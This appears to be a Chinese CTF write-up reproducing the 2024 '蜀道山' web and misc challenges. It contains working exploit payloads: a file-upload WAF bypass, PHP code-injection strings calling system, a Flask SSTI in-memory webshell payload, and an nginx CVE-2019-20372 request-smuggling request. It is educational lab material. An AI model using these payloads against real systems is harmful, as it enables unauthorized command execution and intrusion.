前言 距离上次更新已经19天,假期太容易摆烂了,今天开始复现蜀道山2024的WEB和MISC部分。
题目整体偏难。
大部分WP参考这两位师傅
2024“蜀道山”高校联合公益赛web全解&&部分misc-先知社区
2024蜀道山|web|复现 | TGlu’blog
WEB 奶龙牌WAF 源码如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 <?php if ($_SERVER ['REQUEST_METHOD' ] === 'POST' && isset ($_FILES ['upload_file' ])) { $file = $_FILES ['upload_file' ]; if ($file ['error' ] === UPLOAD_ERR_OK) { $name = isset ($_GET ['name' ]) ? $_GET ['name' ] : basename ($file ['name' ]); $fileExtension = strtolower (pathinfo ($name , PATHINFO_EXTENSION)); if (strpos ($fileExtension , 'ph' ) !== false || strpos ($fileExtension , 'hta' ) !== false ) { die ("不允许上传此类文件!" ); } if ($file ['size' ] > 2 * 1024 * 1024 ) { die ("文件大小超过限制!" ); } $file_content = file_get_contents ($file ['tmp_name' ], false , null , 0 , 5000 ); $dangerous_patterns = [ '/<\?php/i' , '/<\?=/' , '/<\?xml/' , '/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i' , '/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i' , '/--\s/' , '/\/\*\s.*\*\//' , '/#/' , '/<script\b.*?>.*?<\/script>/is' , '/javascript:/i' , '/on\w+\s*=\s*["\'].*["\']/i' , '/[\<\>\'\"\\\`\;\=]/' , '/%[0-9a-fA-F]{2}/' , '/&#[0-9]{1,5};/' , '/&#x[0-9a-fA-F]+;/' , '/system\(/i' , '/exec\(/i' , '/passthru\(/i' , '/shell_exec\(/i' , '/file_get_contents\(/i' , '/fopen\(/i' , '/file_put_contents\(/i' , '/%u[0-9A-F]{4}/i' , '/[^\x00-\x7F]/' , '/\.\.\//' , ]; foreach ($dangerous_patterns as $pattern ) { if (preg_match ($pattern , $file_content )) { die ("内容包含危险字符,上传被奶龙拦截!" ); } } $upload_dir = 'uploads/' ; if (!file_exists ($upload_dir )) { mkdir ($upload_dir , 0777 , true ); } $new_file_name = $upload_dir . $name ; print ($_FILES ['upload_file' ]); if (move_uploaded_file ($_FILES ['upload_file' ]['tmp_name' ], $new_file_name )) { echo "文件上传成功!" ; } else { echo "文件保存失败!" ; } } else { echo "文件上传失败,错误代码:" . $file ['error' ]; } } else { ?> <!-- 文件上传表单 --> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <meta name="viewport" content="width=device-width, initial-scale=1.0" > <title>文件上传</title> <style> body { font-family: Arial, sans-serif; background: url ('background.jpeg' ) no-repeat center center fixed; background-size: cover; display: flex; justify-content: center; align-items: flex-start; height: 100 vh; margin: 0 ; } .upload-container { background-color: rgba (214 , 227 , 49 , 0.22 ); padding: 20 px; border-radius: 10 px; box-shadow: 0 2 px 10 px rgba (0 , 0 , 0 , 0.1 ); text-align: center; position: absolute; top: 10 %; } .upload-container h2 { color: margin-bottom: 20 px; } .file-input { display: none; } .custom-file-upload, .submit-btn { display: inline-block; padding: 10 px 20 px; border-radius: 5 px; cursor: pointer; font-size: 16 px; } .custom-file-upload { background-color: color: white; margin-right: 20 px; } .custom-file-upload:hover { background-color: } .submit-btn { background-color: color: white; border: none; } .submit-btn:hover { background-color: } </style> </head> <body> <div class ="upload -container "> <h2 >你能逃出奶龙的WAF 吗?</h2 > <form action ="" method ="POST " enctype ="multipart /form -data "> <label for ="upload_file " class ="custom -file -upload ">选择文件</label > <input type ="file " name ="upload_file " id ="upload_file " class ="file -input "> <input type ="submit " value ="上传文件" class ="submit -btn "> </form > </div > <script > document .querySelector ('.custom -file -upload ').addEventListener ('click ', function () { document.getElementById ('upload_file' ).click (); }); </script> </body> </html> <?php } ?>
发现可以上传.user.ini文件
可以尝试.user.ini文件读取log文件,发现被过滤
在源码中发现了一个漏洞点发现一个漏洞点move_uploaded_file($_FILES['upload_file'['tmp_name'],$new_file_name)
当move_uploaded_file函数参数可控时,可以尝试/.绕过
因为该函数会忽略掉文件末尾的/.
构造path=2.php/.此时file_ext值就为空
绕过黑名单
此外move_uploaded_file函数忽略文件末尾的/.可以实现保存文件为.php。
另一个漏洞点未利用$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);
黑名单限制了文件的前5000个字节通过脏数据实现绕过
将一句话木马放在5000字节以外。
恶意代码检测器 进去为一个黑名单检测功能点
扫目录发现
下载www.zip
得到源码
是个ThinkPHP
审计源码
check功能文件在/src/app/controller/index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 <?php namespace app \controller ;use app \BaseController ;class Index extends BaseController { public function index ( ) { $code = preg_replace ("/[\";'%\\\\]/" , '' , $_POST ['code' ]); if (preg_match ('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is' , $code )) { $attack_log_file = '/tmp/attack.log' ; if (file_exists ($attack_log_file )) { file_put_contents ($attack_log_file , '$attack_word=\'' .$code .'\';' ."\r\n" ,FILE_APPEND); require_once ('/tmp/attack.log' ); } else { file_put_contents ($attack_log_file , '<' .'?' .'php' ."\r\n" ); } if (isset ($attack_word )){ echo '检测到危险代码: ' .$attack_word .'!!!' ; } else { echo '欢迎使用gxngxngxn的恶意代码检测器!!!' ; } }else { $safe_log_file = '/tmp/safe.log' ; if (file_exists ($safe_log_file )) { file_put_contents ($safe_log_file , '$safe_word="' .$code .'";' ."\r\n" ,FILE_APPEND); require_once ('/tmp/safe.log' ); } else { file_put_contents ($safe_log_file , '<' .'?' .'php' ."\r\n" ); } if (isset ($safe_word )){ echo '未检测到危险代码,' .$safe_word .',非常安全' ; } else { echo '欢迎使用gxngxngxn的恶意代码检测器!!!' ; } } } }
漏洞点file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);
法一 :usort()
1 2 3 4 5 6 7 8 ${usort($_GET[a],'system')} //绕过黑名单 ${@usort((ge.tallheaders)(),sys.tem)} //⽤字符串拼接的⽅式绕过过滤 //由于没有引号,拼接字符的时候会warming,然后tp就报错了,⽤@来忽略掉警告 //过滤下划线,⽤ getallheaders 给 system 传参 //get和system被过滤 用.来分隔绕过 //getallheaders:获取所有 HTTP 请求标头
之后cat flag即可
法二 :input()
1 2 //用input传入两个参数0和1,然后赋值 ${input(0)(input(1))}&0=system&1=ls+/
不知为何未能cat flag
可能复现环境存在问题
my_site 描述:小明第一次使用python进行web开发,不过他的网站貌似不够安全
考点:ssti注入内存马
打开为一个拥有登录 注册 信息板 rot13加解密的网站
复现没给源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 from flask import Flask, abort, render_template_string, request, render_template, redirect, url_for, session, flash, gfrom utils import rot13, keyimport sqlite3app = Flask(__name__) app.secret_key = 'your_secret_key' app.config['DATABASE' ] = 'database.db' def get_db (): db = getattr (g, '_database' , None ) if db is None : db = g._database = sqlite3.connect(app.config['DATABASE' ]) return db @app.teardown_appcontext def close_connection (exception ): db = getattr (g, '_database' , None ) if db is not None : db.close() @app.route('/' ) def home (): return render_template('home.html' ) @app.route('/rot13' , methods=['GET' , 'POST' ] ) def rot13_route (): if request.method == 'POST' : action = request.form['action' ] text = request.form['text' ] if action == 'encrypt' : encrypted_text = rot13(text) return redirect(url_for('rot13_result' , result=encrypted_text, action='encrypt' )) elif action == 'decrypt' : text = request.form['text' ] decrypted_text = rot13(text) if key(decrypted_text): template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text try : render_template_string(template) except Exception as e: abort(404 ) return redirect(url_for('rot13_result' , result="既然你是黑阔,那我凭什么给你回显" , action='decrypt' )) else : return redirect(url_for('rot13_result' , result=decrypted_text, action='decrypt' )) template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text return render_template_string(template) return render_template('index.html' ) @app.route('/rot13_result/<action>/<result>' ) def rot13_result (action, result ): return render_template('rot13_result.html' , action=action, result=result) @app.route('/login' , methods=['GET' , 'POST' ] ) def login (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] db = get_db() cursor = db.cursor() cursor.execute("SELECT * FROM users WHERE username = ? AND password = ?" , (username, password)) user = cursor.fetchone() if user: session['username' ] = username return redirect(url_for('message_board' )) else : flash('Invalid username or password' ) return render_template('login.html' ) @app.route('/register' , methods=['GET' , 'POST' ] ) def register (): if request.method == 'POST' : username = request.form['username' ] password = request.form['password' ] db = get_db() cursor = db.cursor() try : cursor.execute("INSERT INTO users (username, password) VALUES (?, ?)" , (username, password)) db.commit() flash('Registration successful! Please log in.' ) return redirect(url_for('login' )) except sqlite3.IntegrityError: flash('Username already exists!' ) return render_template('register.html' ) @app.route('/message_board' , methods=['GET' , 'POST' ] ) def message_board (): if 'username' not in session: return redirect(url_for('login' )) db = get_db() cursor = db.cursor() if request.method == 'POST' : message = request.form['message' ] cursor.execute("INSERT INTO messages (username, message) VALUES (?, ?)" , (session['username' ], message)) db.commit() cursor.execute("SELECT username, message FROM messages" ) messages = cursor.fetchall() return render_template('message_board.html' , messages=messages) @app.route('/logout' ) def logout (): session.pop('username' , None ) return redirect(url_for('home' )) if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 , debug=True )
经典的render_template_string(template)导致的ssti漏洞,此题无回显
通过ssti任意命令执行打flask内存马
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 elif action == 'decrypt': text = request.form['text'] decrypted_text = rot13(text) if key(decrypted_text): template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text try: render_template_string(template) except Exception as e: abort(404) # return "既然你是黑阔,那我凭什么给你回显" return redirect(url_for('rot13_result', result="既然你是黑阔,那我凭什么给你回显", action='decrypt')) else: return redirect(url_for('rot13_result', result=decrypted_text, action='decrypt')) template = '<h1>Your decrypted text is: %s</h1>' % decrypted_text return render_template_string(template) return render_template('index.html')
重点在此处
1 template = '<h1>Your decrypted text is: {{%s}}</h1>' % decrypted_text
rot13加解密
1 2 3 4 {{url_for.__globals__['__builtins__']['eval']("app.after_request_funcs.setdefault(None, []).append(lambda resp: CmdResp if request.args.get('cmd') and exec(\"global CmdResp;CmdResp=__import__(\'flask\').make_response(__import__(\'os\').popen(request.args.get(\'cmd\')).read())\")==None else resp)",{'request':url_for.__globals__['request'],'app':url_for.__globals__['sys'].modules['__main__'].__dict__['app']})}} 加密后: {{hey_sbe.__tybonyf__['__ohvygvaf__']['riny']("ncc.nsgre_erdhrfg_shapf.frgqrsnhyg(Abar, []).nccraq(ynzoqn erfc: PzqErfc vs erdhrfg.netf.trg('pzq') naq rkrp(\"tybony PzqErfc;PzqErfc=__vzcbeg__(\'synfx\').znxr_erfcbafr(__vzcbeg__(\'bf\').cbcra(erdhrfg.netf.trg(\'pzq\')).ernq())\")==Abar ryfr erfc)",{'erdhrfg':hey_sbe.__tybonyf__['erdhrfg'],'ncc':hey_sbe.__tybonyf__['flf'].zbqhyrf['__znva__'].__qvpg__['ncc']})}}
存在waf,学艺不精绕不过去
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 def rot13 (text ): result = "" for char in text: if char.isalpha(): ascii_val = ord (char) if char.islower(): rotated_val = ((ascii_val - 97 ) + 13 ) % 26 + 97 else : rotated_val = ((ascii_val - 65 ) + 13 ) % 26 + 65 result += chr (rotated_val) else : result += char return result print (rot13(text)) text = """()}}{{url_for['__glob''als__']['__buil''tins__']['eval'] ("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None,[]).append(lambda :__import__('os').popen('cat /flag').read())")""" ("__vzcbeg__('flf').zbqhyrf['__znva__'].__qvpg__['ncc'].orsber_erdhrfg_shapf.frgqrsnhyg(Abar,[]).nccraq(ynzoqn :__vzcbeg__('bf').cbcra('png /synt').ernq())" )
利用Flask框架的url_for全局变量访问__globals__和__builtins__来获取eval函数,并执行命令通过修改before_request_funcs在每次请求前运行cat /flag以读取flag文件,从而绕过安全检测
海关警察训练平台 这是一个海关警察训练平台,你的任务是判断所给图片能否进入境内,但是全部判断正确的成功页面好像丢失了??flag在内网的http://infernityhost/flag.html
nginx/1.17.6存在以下CVE
CVE-2019-20372
[(CVE-2019-20372)Nginx error_page 请求走私漏洞 · Qingy文库](https://wiki.timlzh.com/Qingy-Wiki/Web安全/Nginx/(CVE-2019-20372)Nginx error_page 请求走私漏洞/(CVE-2019-20372)Nginx error_page 请求走私漏洞.html)
默认模板
1 2 3 4 5 GET /a HTTP/1.1 Host: localhost Content-Length: 56 GET /_hidden/index.html HTTP/1.1 Host: notlocalhost
此处攻击数据包为
1 2 3 4 5 6 7 GET /error HTTP/1.1 Host: gz.imxbt.cn:20450 Content-Length: 63 GET /flag.html HTTP/1.1 Host: infernityhost Connection: close
多次发包即可得到回显
MISC 神奇的硬币纺纱机 神奇的硬币纺纱机会把白色和蛋黄融为一体,点击下方的链接和简历,获取一个获取一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 nc gz.imxbt.cn 20453 来玩玩这个神奇的机器吧! 你的对面是另一个玩家,你们俩都能决定是否投入硬币, 如果你们俩都投进了,则都会得到硬币; 如果你投了但对面没投,你的硬币就是他的啦! 当然,换成对面也是一样的哦! 如果双方都没投,就都没有影响! 最终的目标是,在 100 次内,获得 100 枚硬币! 输入帮助: 每次有两种选择:1 -> 投币,0 -> 不投币 ? -> 显示这个帮助说明 i -> 显示你的信息 [?] (10@0) 投币吗 <10?i>:
一直不投币即可
后面不投币硬币会大量增加
Elemental Wars 1 2 3 4 5 6 7 8 9 10 11 12 13 nc gz.imxbt.cn 20456 _____ _ _ _ __ __ | ____| | ___ _ __ ___ ___ _ __ | |_ __ _| | \ \ / /_ _ _ __ ___ | _| | |/ _ \ '_ ` _ \ / _ \ '_ \| __/ _` | | \ \ /\ / / _` | '__/ __| | |___| | __/ | | | | | __/ | | | || (_| | | \ V V / (_| | | \__ \ |_____|_|\___|_| |_| |_|\___|_| |_|\__\__,_|_| \_/\_/ \__,_|_| |___/ 欢迎来到元素战争! 游戏即将开始... 请选择你的元素(1. 金, 2. 木, 3. 水, 4. 火, 5. 土):
运气好 随便乱输也能赢
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import socket import time import random HOST = 'gz.imxbt.cn' PORT = 20456 def choose_element(): # 随机选择1到5之间的数字,并加上换行符 return f"{random.randint(1, 5)}\n" def get_enemy_health(response): # 提取敌人血量 for line in response.splitlines(): if "敌人的血量:" in line: try: health = int(line.split("敌人的血量:")[1]) return health except (IndexError, ValueError): pass return None def main(): # 创建一个socket用来连接到服务器 with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: s.connect((HOST, PORT)) print("已连接到服务器") enemy_health = 100 # 初始假设敌人有一定血量 while enemy_health > 0: # 接收服务器的返回信息 response = s.recv(1024).decode('utf-8') if not response: print("连接已关闭") break print(f"服务器: {response}") # 更新敌人血量 current_health = get_enemy_health(response) if current_health is not None: enemy_health = current_health # 判断是否是选择元素的提示 if "请选择你的元素" in response: # 发送随机选择的元素 choice = choose_element() print(f"发送随机选择:{choice.strip()}") s.sendall(choice.encode('utf-8')) # 检查游戏是否结束 if "游戏结束" in response or "胜利" in response or "失败" in response: print("游戏结束") break # 等待下一轮 time.sleep(1) if __name__ == "__main__": main()
写个脚本魔法对轰